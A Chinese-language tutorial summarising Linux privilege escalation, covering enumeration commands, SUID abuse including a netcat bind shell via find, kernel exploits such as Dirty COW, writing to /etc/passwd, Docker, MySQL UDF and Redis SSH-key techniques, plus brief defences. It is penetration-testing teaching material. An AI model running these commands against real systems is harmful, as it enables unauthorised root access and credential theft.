对Linux 提权的简单总结
字数 1417 2025-08-25 22:59:09

Linux 提权技术全面指南

1. Linux 权限基础

1.1 文件权限解读

Linux 文件权限通过 ls -al 命令查看,例如:

-rw-r--r-- 1 root root 56 Jun 16 23:29 hash.txt

权限分为7个字段:

  1. 文件类型与权限

    • 第一位:文件类型
      • -:普通文件
      • d:目录
      • l:软链接
      • b:块设备
      • c:字符设备
    • 后9位:权限位,分为三组(rwx)
      • 第一组(rw-):文件所有者权限
      • 第二组(r--):文件所属组权限
      • 第三组(r--):其他用户权限
      • r=4(读),w=2(写),x=1(执行)
  2. 链接数

    • 目录:子目录数量
    • 文件:硬链接数量
  3. 文件所有者

  4. 文件所属组

  5. 文件大小(字节)

  6. 最后修改时间

  7. 文件名

1.2 目录权限特殊含义

  • r:可查看目录内容
  • w:可在目录中创建/删除文件
  • x:可进入目录

2. 提权基础概念

2.1 为什么需要提权

  • Web渗透通常获得www-data权限
  • 无法执行root命令或读取/root下文件
  • 需要root权限进行持久化控制

2.2 提权基本思路

  1. 信息收集
  2. 查找可利用的文件/脚本/软件/漏洞
  3. 执行恶意命令/添加高权限用户
  4. 提权成功并进一步利用

3. 信息收集技术

3.1 系统基础信息

uname -a       # 所有系统信息
uname -r       # 内核版本
uname -n       # 主机名
uname -m       # 系统架构
hostname       # 主机名
cat /proc/version  # 内核信息
cat /etc/*-release # 发行版信息
cat /proc/cpuinfo  # CPU信息
ls /boot | grep vmlinuz-  # 内核文件

3.2 用户和组信息

cat /etc/passwd      # 所有用户
cat /etc/group       # 所有组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'  # 超级用户
whoami               # 当前用户
w                    # 当前登录用户
last                 # 最后登录用户
lastlog              # 所有用户上次登录

3.3 权限信息

whoami          # 当前用户
id              # 当前用户信息
cat /etc/sudoers  # sudo权限配置
sudo -l         # 当前用户sudo权限

3.4 环境信息

env             # 环境变量
set             # 环境变量
echo $PATH      # 路径信息
history         # 命令历史
cat /etc/profile  # 系统变量
cat /etc/shells  # 可用shell

3.5 进程和服务

ps aux          # 所有进程
ps -ef          # 所有进程
top             # 动态进程查看
ps aux | grep root  # root运行的进程
cat /etc/services  # 服务端口

3.6 安装的软件

ls -alh /usr/bin/
ls -alh /sbin/
ls -alh /var/cache/yum/
dpkg -l         # Debian安装包

3.7 计划任务

crontab -l      # 当前用户计划任务
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
cat /etc/cron*
cat /etc/crontab

3.8 敏感文件查找

# 查找明文密码
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"

# SSH私钥
cat ~/.ssh/authorized_keys
cat ~/.ssh/id_rsa
cat /etc/ssh/ssh_host_rsa_key

3.9 网络信息

lsof -i         # 网络连接
lsof -i :80     # 指定端口
netstat -antup  # 网络连接
chkconfig --list  # 服务列表

3.10 日志文件

cat /var/log/auth.log
cat /var/log/syslog
cat /var/log/apache2/access.log
cat /var/log/apache2/error.log

4. 提权技术详解

4.1 SUID/GUID提权

查找SUID/GUID文件

find / -perm -u=s -type f 2>/dev/null  # SUID文件
find / -perm -g=s -type f 2>/dev/null  # GUID文件
find / $ -perm -u=s -o -perm -g=s $ -type f 2>/dev/null  # SUID或GUID

常见可利用的SUID程序

  1. find

    find aaa -exec netcat -lvp 5555 -e /bin/sh \;
    
  2. nmap

    • 旧版本(2.02-5.21)交互模式:
      nmap --interactive
      !sh
      
    • 脚本模式:
      os.execute('/bin/sh')
      
      nmap --script=shell.nse
      
  3. vim/less/more

    vim /etc/shadow
    :set shell=/bin/sh
    :shell
    

4.2 内核漏洞提权

常见内核漏洞

  1. 脏牛漏洞(CVE-2016-5195)

    • 影响版本:Linux kernel >=2.6.22
    • 利用工具:
      • https://github.com/timwr/CVE-2016-5195
      • https://github.com/gbonacini/CVE-2016-5195
  2. overlayfs漏洞

    • Linux Kernel 3.13.0 < 3.19
    • https://www.exploit-db.com/exploits/37292/
  3. 搜索漏洞

    searchsploit Ubuntu 16.04
    

4.3 无密码root执行

利用方法

  1. 查找可以root身份无密码执行的脚本/命令
  2. 修改脚本内容或直接执行命令
  3. 常见操作:
    • 添加root用户到/etc/passwd
    • 写入SSH公钥

示例(DC4靶机)

teehee -a /etc/passwd

4.4 环境变量提权

利用条件

  • PATH中包含.(当前目录)
  • 存在SUID程序使用相对路径调用命令

利用步骤

  1. 编写恶意程序
    #include <unistd.h>
    void main() {
        setuid(0);
        setgid(0);
        system("cat /etc/passwd");
    }
    
  2. 编译并设置SUID
    gcc aaa.c -o shell
    chmod u+s shell
    
  3. 执行触发

4.5 第三方服务提权

Docker组提权

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

MySQL UDF提权

  1. 检查条件
    show variables like '%compile%';
    show variables like 'plugin%';
    show global variables like 'secure%';
    
  2. 利用方法
    select sys_exec('whoami');
    select sys_eval('whoami');
    

Redis提权

  1. 利用条件
    • Redis以root运行
    • 无认证或弱认证
  2. 利用方法
    # 写入SSH公钥
    config set dir /root/.ssh
    config set dbfilename authorized_keys
    set x "\n\nssh-rsa AAAAB3Nza...\n\n"
    save
    

5. 防御措施

  1. SUID/GUID管理

    • 取消不必要的SUID权限
    • 使用capabilities替代SUID
      sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
      
  2. 密码策略

    • 避免无密码root执行
    • 使用强密码
  3. 服务安全

    • 升级系统和软件
    • 限制服务权限
    • 配置访问控制
  4. 监控与审计

    • 监控异常行为
    • 定期检查SUID/GUID文件
    • 检查计划任务

6. 参考资料

  1. Basic Linux Privilege Escalation
  2. Linux SUID Privilege Escalation
  3. Docker组提权
  4. Redis提权
Linux 提权技术全面指南 1. Linux 权限基础 1.1 文件权限解读 Linux 文件权限通过 ls -al 命令查看,例如: 权限分为7个字段: 文件类型与权限 : 第一位:文件类型 - :普通文件 d :目录 l :软链接 b :块设备 c :字符设备 后9位:权限位,分为三组(rwx) 第一组(rw-):文件所有者权限 第二组(r--):文件所属组权限 第三组(r--):其他用户权限 r=4(读),w=2(写),x=1(执行) 链接数 : 目录:子目录数量 文件:硬链接数量 文件所有者 文件所属组 文件大小(字节) 最后修改时间 文件名 1.2 目录权限特殊含义 r :可查看目录内容 w :可在目录中创建/删除文件 x :可进入目录 2. 提权基础概念 2.1 为什么需要提权 Web渗透通常获得www-data权限 无法执行root命令或读取/root下文件 需要root权限进行持久化控制 2.2 提权基本思路 信息收集 查找可利用的文件/脚本/软件/漏洞 执行恶意命令/添加高权限用户 提权成功并进一步利用 3. 信息收集技术 3.1 系统基础信息 3.2 用户和组信息 3.3 权限信息 3.4 环境信息 3.5 进程和服务 3.6 安装的软件 3.7 计划任务 3.8 敏感文件查找 3.9 网络信息 3.10 日志文件 4. 提权技术详解 4.1 SUID/GUID提权 查找SUID/GUID文件 常见可利用的SUID程序 find nmap 旧版本(2.02-5.21)交互模式: 脚本模式: vim/less/more 4.2 内核漏洞提权 常见内核漏洞 脏牛漏洞(CVE-2016-5195) 影响版本:Linux kernel >=2.6.22 利用工具: https://github.com/timwr/CVE-2016-5195 https://github.com/gbonacini/CVE-2016-5195 overlayfs漏洞 Linux Kernel 3.13.0 < 3.19 https://www.exploit-db.com/exploits/37292/ 搜索漏洞 4.3 无密码root执行 利用方法 查找可以root身份无密码执行的脚本/命令 修改脚本内容或直接执行命令 常见操作: 添加root用户到/etc/passwd 写入SSH公钥 示例(DC4靶机) 4.4 环境变量提权 利用条件 PATH中包含 . (当前目录) 存在SUID程序使用相对路径调用命令 利用步骤 编写恶意程序 编译并设置SUID 执行触发 4.5 第三方服务提权 Docker组提权 MySQL UDF提权 检查条件 利用方法 Redis提权 利用条件 Redis以root运行 无认证或弱认证 利用方法 5. 防御措施 SUID/GUID管理 取消不必要的SUID权限 使用capabilities替代SUID 密码策略 避免无密码root执行 使用强密码 服务安全 升级系统和软件 限制服务权限 配置访问控制 监控与审计 监控异常行为 定期检查SUID/GUID文件 检查计划任务 6. 参考资料 Basic Linux Privilege Escalation Linux SUID Privilege Escalation Docker组提权 Redis提权